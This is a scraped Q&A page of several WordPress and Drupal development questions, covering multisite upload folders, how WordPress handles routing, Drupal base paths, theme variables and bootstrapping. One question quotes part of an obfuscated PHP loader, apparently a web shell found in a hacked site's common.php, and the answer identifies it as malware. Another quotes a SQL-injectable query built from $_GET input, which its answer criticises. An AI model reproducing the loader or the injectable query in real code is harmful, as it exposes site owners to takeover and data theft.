Wordpress multisite separate media folders plus a shared media folder? - wordpress

So, I have moved my wp-content folder (and renamed it), and renamed my uploads folder. I will end up having 60+ sites in this install eventually, and it was rather annoying to look inside "uploads/sites" and just see each one labeled with the site id #, which doesn't tell me anything about which site it belongs to. So I had found a function that allowed me to create new folders for each sub-site. And that's working great and all. But I would also like to have one folder with assets that can be shared across the network, instead of having to upload to the individual sites. In other words, I need BOTH the individual media folders, AND a universal assets folder. I suspect that the code I have for creating the named media folders may interfere somehow, but I'm not sure how to solve that. Any help will be appreciated. Following is my current function (which has been put into a plugin so it's not template-dependent).
Note: I feel like there's a better way to set the baseurl & basedir using the UPLOADS folder defined in config. But I couldn't figure out how to get that to work properly.
add_action('init', 'new_upload_filters');
function new_upload_filters(){
add_filter('upload_dir', 'new_upload_dir');
}
function new_upload_dir( $dirs ) {
$blog = get_current_blog_id();
$site = get_blog_details()->blogname;
$sitestrip = str_replace(' ', '', $site);
$sitespace = strtolower($sitestrip);
$dirs['baseurl'] = network_site_url( WP_CONTENT_URL . '/library' );
$dirs['basedir'] = WP_CONTENT_DIR . '/library';
$dirs['path'] = $dirs['basedir']. '/' . $sitespace;
$dirs['url'] = $dirs['baseurl']. '/' . $sitespace;
return $dirs;
}
This code results in a path for each sub-site of /primary-network-url.com/content-dir/library/blogname, which is great (though I'd still also like to have the images broken out by date within each blogname folder too, but that's less important).
In my mind, the ideal would be to have an item within the Admin/Media area for "Shared Images", like a separate category or something. Be able to upload items to that "shared images" area from the parent site, and then those are also available to the sub-sites (but only able to add or delete those from the super admin).
Is this even reasonably possible?

Related

Routing algorithm for Wordpress

I don't know the exact meaning of the question but someone asked me this question in interview. I just want to know that there's something like that, we use any route algorithm in Wordpress?
This could be a trick question because routing would mean mapping an HTTP request to trigger specific function or method that would handle the request which is not something that WordPress does (there is a section about WordPress at the bottom). In simple word, you read the HTTP request information to decide what function is going to be triggered.
Bit more details in simple words
if you are building a PHP project from scratch and want to display specific content or trigger a method/function there are usually two option (without routing)
Using POST , GET or REQUEST variables and complex conditional statements to achieve what you want, so a result URL could be something like this
http://example.com/index.php?view=pubications&per_page=5
Setting a PHP file for each type of content
http://example.com/publications.php?per_page=5
However, if you created a Router (Routing algorithm as you named it or routing system) then pushed all requests to index.php and have the latter include let's say something like this:
// Include the Router class
require('classes/router.php');
// Include functions responsible for display our content
require('view/display.php');
I'll not go into how to build a router, just giving examples assuming that you already have one just to give you an idea how routing works.
So assuming you have a router and function to display a contact form for example, you'd also include something like this:
Router::add('/contact-us', get_contact_form(),'get');
Router::add('/contact-us', handle_contact_form(),'post');
Then initialize the Router
Router::initialize('/');
Again assuming you have a complete Router, the above function would tell the index.php file to handle HTTP requests on this URL differently:
http://example.com/contact-us
If it's the default request type GET, trigger this function get_contact_form(), but if the request type is POST trigger this one handle_contact_form() which will act and display content differently depending on your needs.
That's great because it would be instead of something like
http://example.com/index.php?page=contact-us
index.php content would handle the request differently since there is no router.
// Include functions responsible for display our content
require('view/display.php');
if( isset($_GET['page']) && $_GET['page'] == 'contact-us'){
echo get_contact_form();
}
if( isset($_GET['page']) && $_GET['page'] == 'contact-us' && isset($_POST['contact_submit']) ){
echo handle_contact_form();
}
Imagine how long and ugly this would look like if you have a lot of pages and a complex site.
So back to WordPress
If you have a new installation you'd notice that the URLs looks something like this:
http://example.com/?p=62
http://example.com/?cat=1
http://example.com/?author=3
So it would just take URL parameters then build a WP_Query based on that, if is p then look for posts in database by ID, if cat then look for categories by ID and so on... (that's the simple explanation, there is a lot going on of course in the back-end, but just to give an idea).
You might notice after changing permalink structure that the above examples would now look something like this:
http://example.com/post-slug
http://example.com/author/name
http://example.com/category/uncategorized
This might look like routing, but it isn't, let's go in a bit more details about how this works.
When requesting a (pretty-link) URL on WordPress, first thing that happens is that the .htaccess looks for a folder/file with same name on the server, if it exists it will served, if not, it would send that request to the index.php file which does one thing:
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
loading the wp-blog-header.php file, which will make a small check to make sure the code only run once then the following:
// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );
// Set up the WordPress query.
wp();
// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );
Let's not go deeper into these files, what's concerns us the most is what 'wp-load.php' and 'template-loader.php' does
wp-load.php
This one among other things, looks for wp-config, make sure everything is set correctly, then connect to the database, of course after a lot of initialization, setting up constants loading a lot files that handles different parts of WordPress structure. Part of this process is that WordPress tries to match the request URL with a large set of rule called rewrite rules which are set of regular expressions, when a match is found WordPress will translate that URL into a database query using [WP_Query][1] class which is located at wp-includes/class-wp-query.php and this class will save the query results among other things (query type...etc)
template-loader.php
This one handles the display part, it uses some WordPress function that make use of WP_Query (eg:is_home()) to find out what type of content is to be displayed, then loads the the correct template based on that, and finally the template will use WP_Query to show the result.

corrupted / hacked common.php file?

I am having issues with one of my wordpress sites. (constantly login out users and not letting people log in)
My hosting think the route is the common.php files (/public_html/wp-content/common.php )
Can anyone shed any light on what the files is actually doing? Can I just delete it and will WordPress generate a new file?
common.php code:
<?php
$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Cmdsb2JhbCAkYXV0aF9wYXNzLCRjb2xvciwkZGVmYXVsdF9hY3Rpb24sJGRlZmF1bHRfdXNlX2FqYXgsJGRlZmF1bHRfY2hhcnNldCwkc29ydDsKZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsKCiRhdXRoX3Bhc3MgPSAnZGU0OTA5YzUxZWZiNjZlNTgwYzMyZTk5NTFlZGI1ZG
*I've had to cut out a lot of the code here as it was over the character limit (abot 90,000!!)
J10gPSAkZGVmYXVsdF9hY3Rpb247CgllbHNlCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKZXhpdDsKCg==";
$array_name = "";
foreach([4,29,34,38,42,9,21,7,38,17,37,7,38] as $t){
$array_name .= $alphabet[$t];
}
$a = strrev("noi"."tcnuf"."_eta"."erc");
$f = $a("", $array_name($string));
$f();
Thanks in advance
Rich
Delete the file.
It is not a part of the WordPress install or uprade package. I would assume that the file is malicious and that your hosting account/personal machine/login credentials have been compromised or something like that.
This is the standard support doc referred to in this case: https://codex.wordpress.org/FAQ_My_site_was_hacked Then once your site is clean:
http://codex.wordpress.org/Hardening_WordPress

Getting path to Drupal root while in module

I am not sure if this is an issue with my current setup, or what I want to do.
I have a module that is programatically creating nodes in my Drupal 6 site, and within each I have to provide links in between various nodes.
I basically have a few foreach loops, and within each I have the current path.
For instance:
foreach ($page->category as $category) {
$category_link = "category/" . $category['id'];
// generate category pages
...
$content = "<a href='$category_link'>".$category['name']."</a>";
_create_node($content);
foreach ($category->article as $article) {
$article_link = $category_link . "/article/" . $article['id'];
// generate article page
$content = "<a href='$category_link'>".$category['name']."</a>";
$content .= "<a href='$article_link'>".$article['name']."</a>";
_create_node($content);
}
}
The issue that I'm seeing is that the link seems to be continually built up.
For instance, in the main category pages it is fine (I'll see category/1234), and the article link will be fine, but the category link will seem to be longer than it should. Basically, I'll end up seeing:
category/1234/article/5678/category/1234
My first thought was to make use of $base_url and just create absolute paths, however whenever I try printing that variable from my module it is completely empty. This is on a local server, however when I move it to production Drupal isn't installed at the root, so I can't simply add a slash to the front of the link.
Try using $GLOBALS['base_path'] to get the base path.
$GLOBALS['base_path'] will work, but you are accessing a global variable that ALSO contains some things like your database connection info and some other important stuff. So with a slip of the finger you could muck up other things. I prefer base_path() which does the same thing but is a modicum safer.
Use
global $base_url;
For path to themes folder use
path_to_theme()
You can use base_path() but that will not provide you with the domain name.
Base url will provide you the complete url like : www.example.com
base_path() will give you : /
path_to_theme() will give you : sites/all/themes/yourthemename

Set PHP Variables for Drupal 7 Theme Files

I want to set custom php variables that can be used throughout my drupal theme (html.tpl.php, page.tpl.php etc.) I need the variables set based on the $title of the node. I'm not an expert on how Drupal works, the moduling and hooks, and I just need to know the simplest/easiest way to accomplish this. I keep reading about implementing some sort of hook in the template.php file where you can set variables, but I've been unsuccesful with everything I've tried.
So, basically, how would you accomplish this:
Get $title of Node
Set variables that will be passed along into theme files (for example, to do basic things like: if($title == 'news_page') { $siteSection = "news"; } )
Have $siteSection be available to use in theme files
Any help would be great.. thanks!
Before Drupal builds the HTML for a page from a theme's template (.tpl.php file), it runs preprocess "hooks". Hooks are basically a naming convention for functions that let modules and themes override or "hook" onto Drupal core processes.
E.g., if you want to display a message to a user when they log in, you can use hook_user_login.
function MODULENAME_user_login(&$edit, $account) {
drupal_set_message("Welcome, ". $account->name);
}
When a user logs in, Drupal looks for all loaded functions that end in "_user_login" and it runs them. If this function is in an enabled module, it has been loaded, so it will get run as well.
If you want to make a variable named $site_section available in your page.tpl.php file, you can hook into template_preprocess_page. This is a theme hook, so the name is a little different, but it functions pretty much the same way. To call this hook from your theme, you need to create a file called template.php in your theme's directory. Inside template.php, we'll add:
<?php
function THEMENAME_preprocess_page(&$vars){
switch (drupal_strtolower($vars['node']->title)) {
case "about page":
$site_section = "about";
break;
case "news page":
case "news page1":
case "news page2":
$site_section = "news";
break;
default:
$site_section = "none";
break;
}
$vars['site_section'] = $site_section;
}
The <?php is used to tell the server the treat all of the proceeding code as PHP. We then declare our hook function with the intention of loading Drupal's array of page variables into a local variable called $vars. By adding the & before $vars, we'll be allowed to modify the values for use outside of this function.
The switch statement will let us efficiently test the page title for multiple values. The value of the node's title may contain uppercase letters, lowercase letters, and symbols, so to avoid a case-sensitive mismatch, we're going to convert the title to lowercase and only test that (symbols will still be in the title, though). After the switch statement, we set the value of our $site_section local value into the referenced $vars array for use in page.tpl.php.
However, if it's just your intention to break the site up into sections for theming purposes, there are other ways of accomplishing that. My answer to a similar situation a few months ago might be helpful.

Using specific drupal-related functions in a non-drupal.php file INSIDE the drupal dir

Good morning all.
I'm having some issues while trying to make the function "field_file_load" work in a php script I've done to process an AJAX call.
I've read about bootstrapping drupal core elements inside, but it doesn't seem to work.
So far I've succesfully populated a Select Box using the data from another Select Box, making an AJAX call to this php file (which is in the drupal directory folder, in a theme to be precise)
<?php
$var = $_GET['q'];
$con = mysql_connect('*******', '******', '********');
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("drupal", $con);
$sql="SELECT DISTINCT xc.field_brand_value FROM node
INNER JOIN term_node AS tn ON node.vid = tn.vid
LEFT JOIN content_type_extra_content AS xc ON node.vid = xc.vid
WHERE tn.tid IN (SELECT th.tid FROM term_hierarchy AS th WHERE th.parent = '149')
AND xc.field_location_value = '".$var."'";
$result = mysql_query($sql);
echo(' <select name="brand" id="brand">
<option value="default" selected>Select a brand</option>
');
while($row = mysql_fetch_array($result))
{
echo('<option value="'.$row['field_brand_value'].'">'.$row['field_brand_value'].'</option>');
}
echo('</select>');
mysql_close($con);
?>
And this is working like a charm because all I have to do is connecting to the drupal db and fetch the desired values.
The problem arises when I want to fetch the url of some pictures (with a query that uses values from the first and second dropdown) and use the "file_field_load" to load the url of the given picture.
I get (obviously) a "call to undefined function" error.
So I tried bootstrapping drupal.
But it doesn't work anyway.
/** bootstrap Drupal **/
chdir("/path/to/drupal/site/htdocs");
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
Since I don't have full access to the server where the site is hosted, assuming that drupal is convenientrly installed in the root, how can I figure out the path to drupal site htdocs ?
Moreover, does calling a full bootstrap (instead of just the needed part) can cause some problems?
So, to be brief:
1] how can I call a drupal function (in this case which comes from the filefiled module) in a non-drupal php script which resides however in the drupal directory?
2] Which is the correct way of bootstrapping?
3] Do I need to connect to the db (like in the previous working example) IN ADDITION to bootstrapping?
Or, finally. there's a different, speedier way you know how to do what I need to do?
Thanks in advance for any reply.
Hmm that's weird. If the FileField module is enabled, the function should be available. So maybe FileField is not actually enabled?
If that's the case you're gonna have to manually add the file that contains the function definition, which is the field_file.inc file in the module's directory, so you'd add that dependency to your bootstrapping code:
<?php
/** bootstrap Drupal **/
chdir("/path/to/drupal/site/htdocs");
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
module_load_include('filefield', 'inc', 'field_file');
AFAIK what you're doing for bootstrapping Drupal from an outside script is the "correct" way.
Now, I'm not sure if, on a big picture level, whatever you're trying to do is a good idea at all... That is: You're making a little nonDrupal script which:
manually connects to the Drupal database with plain mysql functions instead of Drupal's DB API functions, in order to
fetch CCK information using a query that's 100% vulnerable to SQL injection, and
all of this put in a theme directory no less!
So you might want to rethink your angle of attack here, you know?. Maybe making a custom module for this.
But if you just have to do things this way (for reasons I can't think of), then at least use db_query so you don't have to do the whole mysql_connect() stuff, and do something like
<?php
db_query("YOUR BIG QUERY HERE... xc.field_location_value = '%s'", $var);
...for at least some degree of security.
I would also recommend that you browse the involved modules a bit (FileField, etc) to see if they have APIs (or at least some internal functions) that might return what you're trying to get through plain DB querying.

Resources